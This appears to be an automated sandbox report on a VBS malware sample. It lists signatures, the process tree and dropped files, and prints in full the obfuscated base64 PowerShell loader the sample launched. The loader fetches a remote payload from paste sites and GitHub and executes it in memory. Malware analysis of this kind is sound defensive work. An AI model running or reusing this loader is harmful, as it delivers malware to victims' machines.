Analysis
- max time kernel
149s - max time network
93s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
15/04/2026, 07:56
General
- Target HT0-3673.vbs
- Size 17KB
- Sample260415-jsqvescs3z
- SHA256 3c6fd17b9f959fcb6cc932f5b9219588da2cb055eb38c35d6bf23c9a742df655
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HT0-3673.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBoAGEAcwB0AGUAYgAuAGkAbgAvAGkAaQA1AFAAZgBDAHoAOAAzAGEAVABjAEQAZwBLACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGYAeQAuAGEAcABwAC8AZQBLAGsAQQBnAE0AVgBNAC8AcgBhAHcAJwApACkADQAKAGkAZgAoACgAJABnAD0AZAAgACQAawApAC0AYQBuAGQAKAAkAHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABnACkAKQAtAG0AYQB0AGMAaAAnADwAPABTAFQAQQBSAFQAPgA+ACgALgAqAD8AKQA8ADwARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAJABnAGcAIAA9ACAAJwB0AHgAdAAuAG8AbwBkAGgAYQBpAG0ALwBuAGkAYQBtAC8AcwBkAGEAZQBoAC8AcwBmAGUAcgAvAG4AZQBoAHQAZQBf#AGEATQAvADEAMwA1AGMAaQBsAG8AYgByAGUAcAB5AEgALwBtAG8AYwAuAHQAbgBlAHQAbgBvAGMAcgBlAHMAdQBiAHUAaAB0AGkAZwAuAHcAYQByAC8ALwA6AHMAZwBzAGYAZgBzAGYAcwBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAOAApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAwACcALAAgACcAJwAsACAAJwBNAHMAYgB1AGkAbABkACcALAAgACcAMQAnACAALAAgACcAeAA4ADYAJwApAA0ACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwB8AHMAbwByAHQAIABDAFAAVQAgAC0AZABlAHMAYwB8AHMAZQBsAGUAYwB0ACAALQBmAGkAcgBzAHQAIAA1AHwAZgB0ACAATgBhAG0AZQAsAEMAUABVACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAA';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k14w4kuf\k14w4kuf.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE5CC.tmp" "c:\Users\Admin\AppData\Local\Temp\k14w4kuf\CSCF9CB934AEBF24DECA03B6E2BF88BA333.TMP"4⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RESE5CC.tmp
__PSScriptPolicyTest_nypqpfjk.dpl.ps1
k14w4kuf.dll
CSCF9CB934AEBF24DECA03B6E2BF88BA333.TMP
k14w4kuf.0.cs
k14w4kuf.cmdline
memory/1924-10-0x000002621D960000-0x000002621D970000-memory.dmp
memory/1924-28-0x000002621D730000-0x000002621D761000-memory.dmp
memory/1924-8-0x0000026237850000-0x0000026237872000-memory.dmp
memory/1924-39-0x000002621D930000-0x000002621D93C000-memory.dmp
memory/1924-2-0x000002621D960000-0x000002621D970000-memory.dmp
memory/1924-38-0x000002621D730000-0x000002621D761000-memory.dmp
memory/1924-29-0x000002621D930000-0x000002621D93C000-memory.dmp
memory/1924-30-0x000002621F280000-0x000002621F292000-memory.dmp
memory/1924-26-0x000002621F2E0000-0x000002621F2E8000-memory.dmp
memory/1924-27-0x000002621D960000-0x000002621D970000-memory.dmp
memory/1924-31-0x000002621D960000-0x000002621D970000-memory.dmp
memory/2060-1-0x000001EA2A9E0000-0x000001EA2A9EC000-memory.dmp
memory/2060-0-0x000001EA2A960000-0x000001EA2A991000-memory.dmp
memory/3528-20-0x0000014311980000-0x000001431198C000-memory.dmp
memory/4792-24-0x000002548A7A0000-0x000002548A7AC000-memory.dmp
memory/4792-23-0x00000254890C0000-0x00000254890F1000-memory.dmp